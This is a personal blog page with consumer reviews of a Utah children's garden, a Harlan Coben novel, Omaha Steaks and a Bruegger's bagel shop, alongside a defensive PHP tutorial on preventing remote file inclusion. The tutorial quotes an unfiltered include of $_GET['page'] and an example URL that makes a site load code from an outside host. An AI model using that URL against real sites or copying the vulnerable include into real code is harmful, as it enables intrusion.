|
|
A few weeks ago my sister and her family decided they wanted to visit Thanksgiving Point, UT with us on our way home from a family Reunion. Since we had nothing better to do and had never been to Thanksgiving Point, and of course would be in the area, we decided to tag along. Due to a mis-calculation of my Garmin GPS Unit, my family ended up being a couple hours late. So when we arrived, my sister and I decided to go to the Children Discovery Garden Center, so our little kids (around 2) could have some fun. Well the kids had fun, but to what cost? ![]() The Construction I do know that construction is just a temporary deal, but it was very annoying going there, as none of the street signs matched the map provided by Thanksgiving Point. This made the stress level to just visit a place very high. Taking many wrong turns, again due to the street signs not matching up, we finally arrived at the Children Discovery Garden, and to our disappointment, it really was not worth the trip. Not Worth the Cost In my opinion, the Children Discovery Garden Center of Thanksgiving Point, Utah, was not worth the money. It cost us $6.00 per adult, the kids, because they were under two, were free. For $12, we got to see sub-par items. Basically it was a quick 15-30 minute stroll around the area with a ship fountain type wading area. There really was not much to see and I expected a bit more for the price. I was very disappointed and not impressed at all for the cost. I understand that items do cost money, but for the $12 with maybe 30minutes of stuff to look at, this was just a major disappointment. Overall Over all there was much more to Thanksgiving Point then we visited. We just visited the Children Discovery Garden Center, trying to be thrifty. Unfortunately, we felt it was not worth the money paid. If I wanted to just walk around somewhere, I could have got a nice walk around a part with a lake, for my kid to wade in, instead of paying $12 for a walk around...well not much. It really seemed more like an Outdoor lab type setup for field trips over a family garden center. Although we had a decent time, it did not feel like the cost outweighed the experience. Given so, I cannot recommend the Thanksgiving Point, UT Children Discovery Garden center, unfortunately. Please do not let this dissuade you from trying the other areas, my sister said she had fun at the dinosaur museum. If you think I am wrong, well more props to you. This was just my feelings on the exhibit and I felt it could have had more, or at least cost $1-$2 less, for what the Thanksgiving Point Children Discovery Garden Center offered. |
|
0 Comments
Mood: disillusioned KeyWords: children, discovery, garden, center, thanksgiving, point, review, fun, cost, price, pricey, worth, money, kids, child, construction, stress, stressful, family, visit |
|
|
|
For years now I have participated in many coding Forums. Perhaps one of the biggest issues I see is people using $_GET or another unfiltered variable inside of an include, include_once, require or require_once statement. This is a major security risk, and in an attempt to help people stray away from this I have accumulated many different ways this can be done, "properly" (I quote properly because each person has their own preference). Let's get down to the nitty gritty, and see how we can do inclusions in PHP securely without opening ourselves up to being exploited through a remote file inclusion exploit. First Things First Most PHP hosts set the allow_url_fopen to be off by default, in an effort to help prevent these exploits. However, not every host does this, and not everyone uses a shared host. If you are on a VPS or Dedicated server, then you may inadvertently enabled this setting or never disabled it. So first things first, go and find your proper php.ini file, and turn this off. If you relied on fopen of remote files or file_get_contents, I would highly suggest switching over to CURL, as it will be much quicker, and allow for security in the event you did not code all the code on your site or using a mainstream item, like WordPress, where it may contain a vulnerability that anyone could see. Implementing a White List A common exploitable code that I have seen is basically something in the form of: include($_GET['page']); If your host has allow_url_fopen enabled, you are just asking to be exploited with a remote file inclusion exploit. Basically, anyone could type in something like: http;//www.yoursite.com/page.php?page=http;//theirsite.com/remote/code/to/execute.php and viola, their code remotely executed and basically just opened up your site fully to them. As you can see, this is a huge issue, and is how a lot of malware and virus's get passed around. Implementing a white list will probably be close to one of the sure fire ways this will never happen. The array can come from a number of sources you want it to, hard coded in the file, from a database setting etc. I am just going to write it in line for simplicity reasons. $whiteList = array('index' => 'index.php', 'about' => 'about.php', 'contact' => 'contact.php');As you can see, everything is hard coded, and there is no way for someone to inject their own URL into your site. This would prevent any type of remote file inclusion exploit from being able to be preformed. If you wanted more "security" you could change the names of the files to be something obscured, or include them from a different directory outside of the webroot, so that no one would access them directly. This is generally my preferred method, simply because there is a slim to none chance that you would get remotely exploited. Using Basename and file_exists Another method is using the basename and file_exists method. This method I find a bit less secure, given that they can include any file as long as it exists and in the current directory. What the basename does is remove everything but the name of the file. This prevents someone from entering in something like ../../somefile and having that file included, so if your permissions were not setup properly, it could give them access to various stuff, like SSH Keys, logs and other files that you do not want out in the open. The file_exists, make sure that the file exists on the server, this is just an extra precaution. Let's see the code used for this method: $file = 'your/path/to/file/' . basename($_GET['page']); For this method, I showed you an example of using a path other then the webroot to include the file. This would attempt to prevent people from just probing for different files, and you can place the pages into their own directory, so only pages meant to be included are included. IE, you could have a 'pages' directory and keep them organized in there. If you are using this method, I would highly recommend using the pages directory or similar. Other Methods I am sure there are plenty of other methods, I saw one guy using base64, however, this are the two primary methods I recommend to people for their simplicity. My preferred method overall would be the basename with the pages directory, outside of the webroot. This would mask the pages, and make it more difficult to probe for your pages and remove the risk of a file accidentally being included when it should not. If you have other methods, feel free to post them in the comments. Finishing Touch This is just one step you can take to secure your site from being exploited by what we call Script Kiddies and the likes of others. This alone, will not completely secure your site so of course you will need to take other precautions on every other aspect of your site. However, if pulling up pages dynamically using a URL intrigues you, this method will help you to secure yourself from being exploited with a remote file inclusion exploit. As always, I welcome non-trolling or flaming comments. I will remove any flaming or trolling comments, so please leave positive feedback as all that is being done here is attempting to educate users. If you feel I am wrong, tell me in a constructive way with proof and ways to fix it. Thanks, and hopefully this has helped you! |
|
0 Comments
Mood: splendid KeyWords: php, exploit, script, kiddies, remote, file, inclusion, remote file inclusion, basename, file_exists, white list, list, include, require, require_once, include_once, allow_url_fopen, fopen, file_get_contents, prevention, precaution, security, help, howto |
|
|
|
Harlan Coben is perhaps one of my favorite authors. I love Harlan's Myron Bolitar series as such I read any book he puts out. One of Harlan's more recent book, Caught, reached my eyes and I decided to give it a read. Immediately I became immense in the book, I love a good mystery and I knew that Harlan would produce. I also enjoy how Harlan uses familiar characters from his other previous books and as such it makes you smile just seeing the name when they read. Dislaimer, This review may contain a few hints and spoilers, if you know Harlan Coben and prefer not to know anything about the book, I suggest you stop here and just buy the book and read it. ![]() A Viral Marketing Thriller A mystery book about how Viral Marketing tear people's life apart hardly sounded interesting to me, but Harlan Coben was able to take the Internet Viral Marketing and make it into a great mystery. Wendy Tynes, who is a news reporter, has Caught yet another sick pedophile on her TV Show. However, Dan Mercer is not your average pedophile, and something about Dan has struck Wendy Tynes as being "off". While the trial for Dan Mercer is going on, a 17 year old girl comes up missing, Haley McWaid, who is a quiet girl, but also a perfectionist. Wendy decides to do some digging on Dan Mercer and some old school buddies, and what she finds will take you for one awesome ride. Is everything as it seems? It appears not, and Wendy Tynes is bound and determined to unravel the truth, no matter what road it takes her down. With a bit of help from Win (Windsor Home Lockwood the Third appeared in the Myron Bolitar series) Wendy digs as deep as she can, but will she dig too far? My Take I thoroughly enjoyed this novel. The characters were laid out, in my opinion, great. If you have read the Myron Bolitar series, you will love the few appearances by Win in this book and it put a smile on my face. You will also find some brief appearances by Hester Crimstein, who is a TV Show Judge now. The book, Caught, is far from being predictable, which I love about a mystery novel. Caught also has many twists and turns and takes you for a thrill ride all the way through. In the end, I do not want to go into great detail, as I hate spoiling books, so I would highly recommend if you are a Mystery / Thriller book junkie, or just love Harlan Coben, check out Caught and give it a read, I bet you will find it hard to put the book down (I know I did). External Resources If you would like to see what Harlan Coben thinks about Caught, here is a YouTube video of his review: |
|
0 Comments
Mood: glorious KeyWords: thriller, mystery, book, review, myron, bolitar, win, windsor lockwood, wendy, caught, series, characters, familiar, fun, enjoyable, great, read, smile, immense, book, reading, author, favorite, harlan, coben, viral, marketing, trial, wendy, show, tv |
|
|
When looking for easier way to obtain meals, I often look at fresh solutions, so to speak. When I came across this Omaha Steaks Mailer, I decided to take a look into Omaha Steaks and give them a try. My results are kind of mixed pleasures, but overall I was pleased with the product. What does get annoying is the constant mailers and phone calls. Luckily I can disable the phone calls, however, I cannot control the snail mail mailers. This is a minor annoyance, and some people may not even consider it an annoyance at all. ![]() The Quality Overall the quality is decent. I mean you could do just as good with a frozen steak on your own. My wife seems to think it is great quality for a frozen steak / meat and it has a great flavor. I think it is kind of so-so, the quality seems to be by preference. The burgers were very nice and easy to grill. They ship out the times to cook them, however, since we live in Colorado at a higher altitude those times needed to be adjusted. As part of a package we received some twice baked potatoes. They are almost always my favorite part of a steak dinner, and Omaha Steaks did not disappoint me with their twice baked. For coming out of a freezer, they tasted delicious, at least as good as the ones you can buy from your store's Deli section. I am not a huge hot dog / franks, fan, and unfortunately their Gourmet Franks did nothing to change my mind. They looked great, but in the end, they still tasted like a hot dog. I may try marinating them next time and see if I cannot produce a bit better Frank. My wife enjoyed them also, however, my little girl did not, which should not be surprising as she is almost 2 and can be a very picky eater. In my little test run, the quality of the food seemed decent, especially for being frozen and shipped. The Ordering Experience From start to finish the Omaha Steak experience could not be called "enjoyable", as when is spending money, and seemingly a lot money upfront, enjoyable? However, the easy of ordering online (I hate talking to sales people on the phone) was pretty simple, like most online ordering. With the optional account setup, I chose to setup an account. The process was basically, select what you want (in my case I just entered a promo code from the mailing). Overall, the ordering experience was simple and what was to be expected by today's standard of online ordering. Breaking it Down I think Omaha tends to over price their products, to intentionally "knock" down the price to make you feel like you are getting a good deal. I saw through this and broke it down to what it cost per each serving. Overall it is a decent deal, however, a membership to Costco with a vacuum pack sealer, could easily compete with the cost, and you would probably come out much better going that route. But for a small family, in my case 3, with only 2 adults this seems to be a decent deal. Why for the small family, well everything comes in it's own individually wrapped package. This is awesome as I can easily just make myself a burger and my wife a steak, if we both feel like something different, or if I am home alone watching the kid while my wife is going out. This aspect of Omaha Steaks was very appealing to me. I would imagine this being great for a single person, a small family, or perhaps an older couple whose kids have all left / gone off to college. If you have a bigger family, I would probably go the Costco / Sam's Club route, and I think that you would get more bang for your buck. In the End In the end I am buying another item from Omaha Steaks right now to give them another go, and it is a Father's Day special. Hopefully, it is a similar if not better experience. I do really think that this solution is not very frugal for large families and I do not like how Omaha Steaks "knocks" their prices down all the time. I mean really, it does make you feel like you are getting a deal, but it also feels like a scam. I know it is not a scam now, but I think it would present their appearance better having "real" prices and do "real" specials, instead of these constant specials and in my opinion, if you buy anything from them for their "real" price, you are a moron and you deserve to be wasting your money. Hope this review helps you decide if you want to give Omaha Steaks a try or not! Good Eatings! |
|
0 Comments
Mood: smiley KeyWords: omaha, steaks, review, decent, okay, mixed, pleasure, good, product, steaks, burgers, franks, hot dogs, online, ordering, experience, preference, test, trial, surprising, picky, food, frozen, delivered |
|
|
I love a fresh hot bagel for breakfast. The only thing to trump that is by throwing an Egg on it with some bacon and vegetables, thankfully, Brueggers in Lakewood, CO does just that! I have been a fan of Brueggers for a few years now and will generally have a breakfast bagel from them a few times a month. I am not one for crazy variety, if I find something I like I tend to stick with it. Brueggers offers me everything I need from my Bagel Breakfast sandwich, which I love so much! ![]() Customer Service Overall I would say the atmosphere at Brueggers is cozy. Whenever there is a line, I find the process to go quickly enough, as I have never waited for longer then 5-10 minutes from the time I ordered my Bagel till the time I sat down to eat it. I would call that being on the ball with service. The staff is wonderful and it is apparent they know what the are doing. I also truly enjoy their Punch Card system, buy 10 get 1 free. I usually get a "free" bagel every 2-3 Months, which in my mind is not a bad deal if I am going to be eating the Bagel anyways. My Usual Order As I stated, I tend to stick to something if it is good enough to stick to. At Brueggers, my favorite breakfast bagel is The Westerner on Jalapeno Cheddar. This is just an awesome bagel, I do get sort of sad when I go in hoping for my Westerner on Jalapeno Cheddar to find out they are out. The next best thing would be to have the Pesto Cheese Bagel, which is basically the Jalapeno Cheddar, just without the Jalapeno. Overall Overall I really enjoy Brueggers! From the speed of service, niceness of service to the quality of food, they really have their Bagel Shop down to a science. The next time you are out and about in the morning and looking for a great Bagel Breakfast, I would highly recommend stopping at Brueggers. They offer an awesome Jalapeno Bagel and of course my favorite sandwich inners, the Westerner if that is not your cup of tea, I am sure you can find something savory for yourself. |
|
0 Comments
Mood: jinxed KeyWords: bagels, brueggers, delicious, yum, lakewood, colorado, denver, breakfast, jalapeño, cheddar, fun, excellent, service, customer service, comfy, warm, hospitable, recommend |